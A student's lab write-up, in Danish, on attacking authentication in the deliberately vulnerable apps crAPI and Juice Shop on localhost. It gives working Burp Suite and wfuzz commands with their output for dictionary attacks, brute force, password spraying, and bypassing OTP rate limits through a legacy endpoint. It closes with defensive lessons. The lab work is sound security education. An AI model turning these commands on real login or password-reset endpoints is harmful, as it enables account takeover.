Skip to content

Øvelse 12 – Angreb på Autentificering & Password

Forfatter: Mathias Greisen

Dato: 2026-10-05

Fag/modul: It-sikkerhed i Webapplikationer

Status: Færdig


1. Beskrivelse af øvelsen

Øvelsen går ud på at identificere og udføre grundlæggende angreb mod autentificeringsmekanismer i webapplikationer, der benytter brugernavn og adgangskoder. Fokus er på dictionary attacks, brute force-metoder og password spraying – teknikker som har direkte relevans for penetrationstest og sikkerhedstest af API'er og loginformularer.


2. Reproduktion trin for trin

Forudsætninger

  • Kali Linux
  • Docker + Docker Compose med services kørende
  • wfuzz
  • Burp suite (hurtigst med pro version, trial findes)

Dictionary Attack with Burp Suite

  1. Opret wordlist på 20 passwords som opfylder crAPI's password regler

    Admin1234!
    Password1!
    Passw0rd@1
    Welcome123!
    Admin@123
    Letmein123!
    Qwerty123!
    Iloveyou1!
    Abcdef123!
    Master123!
    Login1234!
    Root@1234
    Test1234!
    Changeme1!
    Superuser1!
    Godadmin123!
    Azerty123!
    Hunter#2
    Football1!
    Secret123!
    
  2. Opret en bruger i crAPI med et password fra listen

    brute@force.test:Hunter#2

  3. Fang en login request med burp suite

    POST /identity/api/auth/login HTTP/1.1
    Host: 127.0.0.1:8443
    Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=zkma9RKLwM7jlVnOPZzrxE3oAZKfvPtOWc5nd1N2QgJye48YWk6BXDp5qvbE
    Content-Length: 50
    Sec-Ch-Ua-Platform: "Windows"
    Accept-Language: da-DK,da;q=0.9
    Sec-Ch-Ua: "Chromium";v="151", "Not=A?Brand";v="99"
    Content-Type: application/json
    Sec-Ch-Ua-Mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36
    Accept: */*
    Origin: https://127.0.0.1:8443
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://127.0.0.1:8443/login
    Accept-Encoding: gzip, deflate, br
    Priority: u=1, i
    Connection: keep-alive
    
    {"email":"brute@force.test","password":"Hunter#2"}
    
  4. Send request til intruder og gå dertil

  5. Set attack type til Sniper

  6. I requets body, set email til at matche brugeren

  7. Highligt password og click "add"

  8. I payloads tab, vælg simple list og load wordlist fra step 1 (uncheck "URL-encode these characters" )

    Burpsuite sniper attack oversigt

  9. Klik start

  10. Observer efter en response med status kode 200 OK

    Burpsuite sniper attack resultat

Dictionary Attack with WFuzz

  1. Opret en bruger i crAPI med et password fra rockyou.txt

    rockyou@password.test:rockyou

    (Bruger oprettet via postman for at få et svagere password og dermed hurtigere resultat med wfuzz)

  2. Foretag dictionary attack med WFuzz og rockyou.txt

    wfuzz -z file,/usr/share/wordlists/rockyou.txt -d '{"email": "rockyou@password.test","password": "FUZZ"}' -H "Content-Type: application/json" -u https://127.0.0.1:8443/identity/api/auth/login --hc 401
    
    Resultat
    ********************************************************
    * Wfuzz 3.1.0 - The Web Fuzzer                         *
    ********************************************************
    
    Target: https://127.0.0.1:8443/identity/api/auth/login
    Total requests: 14344392
    
    =====================================================================
    ID           Response   Lines    Word       Chars       Payload
    =====================================================================
    
    000000008:   200        0 L      2 W        547 Ch      "rockyou"
    

Exhaustive brute force attack med Burp Suite

Før øvelsen:

  1. Besøg https://www.grc.com/haystack.htm

  2. Indtast adgangskoden "passwd"

    Parameter Værdi
    Søge-rum dybde (Alfabet) 26
    Søge-rum længde (Tegn) 6 tegn
    Præcist søge-rum størrelse 321.272.406
    Tid brugt til udtømmende søgning (Online angreb)
    (Antager 1.000 gæt i sekundet)
    3,72 dage
    Tid brugt til udtømmende søgning (Offline hurtigt angreb)
    (Antager 100 milliarder gæt i sekundet)
    0,00321 sekunder
    Tid brugt til udtømmende søgning (Massiv cracking-array)
    (Antager 100 billioner gæt i sekundet)
    0,00000321 sekunder
  3. Tilføj et enkelt alfabetisk tegn, og observer, hvordan tiden stiger ("passwds")

    Parameter Værdi
    Søge-rum dybde (Alfabet) 26
    Søge-rum længde (Tegn) 7 tegn
    Præcist søge-rum størrelse 8.353.082.582
    Tid brugt til udtømmende søgning (Online angreb)
    (Antager 1.000 gæt i sekundet)
    3,19 måneder
    Tid brugt til udtømmende søgning (Offline hurtigt angreb)
    (Antager 100 milliarder gæt i sekundet)
    0,0835 sekunder
    Tid brugt til udtømmende søgning (Massiv cracking-array)
    (Antager 100 billioner gæt i sekundet)
    0,0000835 sekunder
  4. Tilføj et specialtegn, og se forskellen ("passwd!")

    Parameter Værdi
    Søge-rum dybde (Alfabet) 26 + 33 = 59
    Søge-rum længde (Tegn) 7 tegn
    Præcist søge-rum størrelse 2.531.559.269.039
    Tid brugt til udtømmende søgning (Online angreb)
    (Antager 1.000 gæt i sekundet)
    80,50 år
    Tid brugt til udtømmende søgning (Offline hurtigt angreb)
    (Antager 100 milliarder gæt i sekundet)
    25,32 sekunder
    Tid brugt til udtømmende søgning (Massiv cracking-array)
    (Antager 100 billioner gæt i sekundet)
    0,0253 sekunder

Øvelsen:

  1. Brug Postman til at oprette en bruger med adgangskoden passwd (ved at omgå frontend-validering, som vist i Øvelse 4 - Endpoint Analysis)

    POST /identity/api/auth/signup HTTP/1.1
    Postman-Token: daab89c6-b5eb-4367-b21d-a799ffec5818
    Content-Type: application/json
    Content-Length: 116
    Host: 127.0.0.1:8443
    User-Agent: PostmanRuntime/2.8.0
    Accept: */*
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
        "name": "Weak",
        "email": "weak@password.test",
        "number": "3847483154",
        "password": "passwd"
    }
    

    weak@password.test:passwd

  2. Fang login-anmodningen i Burp Suite

  3. Send den til Intruder

  4. Indstil e-mailen, så den matcher den oprettede bruger

  5. Fremhæv værdien af feltet password, og klik på Add

  6. I Payload Type, vælg Brute forcer

  7. Indstil tegnsættet til passwd

  8. Sæt min og max længde til 6

    Burpsuite sniper attack brute force

  9. Obsever payload count og request count (det totale antal kombinationer som burpsuite vil forsøge)

    15.625

  10. Klik start

    Burpsuite sniper attack brute force resultat

  11. Hurtigere alternativ med wfuzz og crunch (til at oprette wordlist)

    crunch 6 6 paswd | wfuzz -z stdin -d '{"email": "weak@password.test","password": "FUZZ"}' -H "Content-Type: application/json" -u https://127.0.0.1:8443/identity/api/auth/login --hc 401
    
    Resultat
    Crunch will now generate the following amount of data: 109375 bytes
    0 MB
    0 GB
    0 TB
    0 PB
    Crunch will now generate the following number of lines: 15625
    /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
    ********************************************************
    * Wfuzz 3.1.0 - The Web Fuzzer                         *
    ********************************************************
    
    Target: https://127.0.0.1:8443/identity/api/auth/login
    Total requests: <<unknown>>
    
    =====================================================================
    ID           Response   Lines    Word       Chars       Payload
    =====================================================================
    
    000000945:   200        0 L      2 W        543 Ch      "passwd"
    

Password spraying

  1. Opret eller genbrug en crAPI-bruger.

    brute@force.test:Hunter#2

  2. Opret en kort ordliste med 5 sandsynlige adgangskoder (inkluder adgangskoden for brugeren oprettet i trin 1).

    Godadmin123!
    Azerty123!
    Hunter#2
    Football1!
    Secret123!
    
  3. Hent brugerdata fra EDE-sårbarheden fundet i øvelse 2 under Exploiting BOLA and Excessive Data Exposure for at indsamle 4 brugeres e-mailadresser.

    adam007@example.com
    pogba006@example.com
    robot001@example.com
    test1@test.test
    
  4. Tilføj e-mailadressen oprettet i trin 1 sammen med e-mailadresserne fundet i trin 3 til en ordliste.

    adam007@example.com
    pogba006@example.com
    robot001@example.com
    test1@test.test
    brute@force.test
    
  5. Optag en login-anmodning, og send den til Intruder.

  6. Sæt angrebstypen (Attack type) til Cluster bomb.

  7. Marker værdien i e-mailfeltet, og klik på Add. (Dette bliver sæt 1, når du konfigurerer din payload).

  8. Marker værdien i adgangskodefeltet, og klik på Add. (Dette bliver sæt 2, når du konfigurerer din payload).

  9. Sæt Payload Set 1 til e-mailordlisten (der er en rullemenu til at vælge dette under fanen Payload).

  10. Sæt Payload Set 2 til adgangskodelisten.

  11. Fjern markeringen i "URL-encode these characters" for begge payloads.

    burpsuite cluster bomb

  12. Klik på Start attack.

  13. Hold øje med anmodninger, der returnerer HTTP 200 OK.

    burpsuite cluster bomb resultat

Brute forcing OTP

  1. Opret en bruger, benyt "Forgot Password?", indtast e-mail, hent OTP i Mailhog, og gennemfør en normal nulstilling for at bekræfte flowet.

    password@reset.test:Test1234!

    "Hi, Your one time generated otp is: 0672"

    password@reset.test:Test12345!

  2. Anmod om 3 nye OTP'er og verificer, at alle koder består af svage, 4-cifrede tal.

    Det gør de.

  3. Anmod om en OTP, opsnap kaldet til /identity/api/auth/v3/check-otp, gense anmodningen 10 gange i Burp Suite Repeater, og observer lockout-mekanismen (503-status).

    HTTP/1.1 503 
    Server: openresty/1.25.3.1
    Date: Mon, 05 Oct 2026 07:39:31 GMT
    Content-Type: application/json
    Connection: keep-alive
    Vary: Origin
    Vary: Access-Control-Request-Method
    Vary: Access-Control-Request-Headers
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 0
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: 0
    X-Frame-Options: DENY
    Content-Length: 66
    
    {
      "message":"You've exceeded the number of attempts.",
      "status":503
    }
    
  4. Omgå rate limiting ved at ændre stien i anmodningen fra den nuværende /v3/check-otp til den ældre legacy-endpoint /v2/check-otp.

    Man får nu igen denne respons istedet for:

    HTTP/1.1 500 
    Server: openresty/1.25.3.1
    Date: Mon, 05 Oct 2026 07:40:54 GMT
    Content-Type: application/json
    Connection: keep-alive
    Vary: Origin
    Vary: Access-Control-Request-Method
    Vary: Access-Control-Request-Headers
    Access-Control-Allow-Origin: *
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 0
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: 0
    X-Frame-Options: DENY
    Content-Length: 58
    
    {"message":"Invalid OTP! Please try again..","status":500}
    
  5. Opret en ordliste med alle 10.000 kombinationer fra 0000 til 9999 via Bash (for i in $(seq -f "%04g" 0 9999); do echo $i; done > wordlist.txt) eller PowerShell (0..9999 | ForEach-Object { $_.ToString('D4') } | Out-File wordlist.txt).

    Har istedet brug wfuzz inbyggede range metode

  6. Start et nyt nulstillingsflow, send anmodningen til /v2/check-otp over i Intruder/WFuzz/ZAP, kør ordlisten mod koden, og identificer den korrekte OTP ud fra et 200 OK-svar.

    wfuzz -c -z range,0000-9999 -d '{"email":"password@reset.test","otp":"FUZZ","password":"NewPassword123!"}' -H "Content-Type: application/json" -u http://127.0.0.1:8080/identity/api/auth/v2/check-otp --hc 500
    
    Resultat
    ********************************************************
    * Wfuzz 3.1.0 - The Web Fuzzer                         *
    ********************************************************
    
    Target: https://127.0.0.1:8443/identity/api/auth/v2/check-otp
    Total requests: 10000
    
    =====================================================================
    ID           Response   Lines    Word       Chars       Payload
    =====================================================================
    
    000004516:   200        0 L      2 W        39 Ch       "4515"
    

    Herefter kunne der nu logges ind med: password@reset.test:NewPassword123!

Brute forcing i Juice Shop

  1. Fang (intercept) en login-anmodning for administrator-brugeren i Juice Shop.

  2. Brug et brute-force-værktøj som f.eks. Burp Suite Intruder.

  3. Sæt e-mailen til admin@juice-sh.op.

  4. Brug ordlisten best1050.txt som payload til adgangskodefeltet.

    burpsuite sniperattack juiceshop

  5. Start angrebet og observer, hvilken adgangskode der returnerer en succesfuld godkendelse (HTTP 200 OK).

    Fik en statuk kode 200 efter 117 forsøg med følgende password: admin123

    burpsuite sniperattack juiceshop resultat

    Dette kunne være undgået hvis man havde haft et lockout efter antal forkerte forsøg i api'en.


3. Problemer og løsninger

Jeg løb ikke ind i problemer under denne opgave udover at BurpSuite Intruder er meget langsom.


4. Anvendte ressourcer

  • https://wfuzz.readthedocs.io/en/latest/user/basicusage.html?highlight=post

5. Opsummering af erfaringer

Jeg har fået erfaringer med hvordan svage autentificeringsmekanismer kan udnyttes. Jeg har lært at udføre simple dictionary attacks, password spraying, brute forcing og OTP-manipulation.

Det at gamle endpoints (v2 vs. v3) kunne bruges til at omgå rate limiting viser også at man også skal huske at opdatere ældre versioner.

Man skal også huske at bruge stærke/komplekse adgangskoder og at implementere lockout- og/eller rate limit mekanisker for at besværliggøre angreb.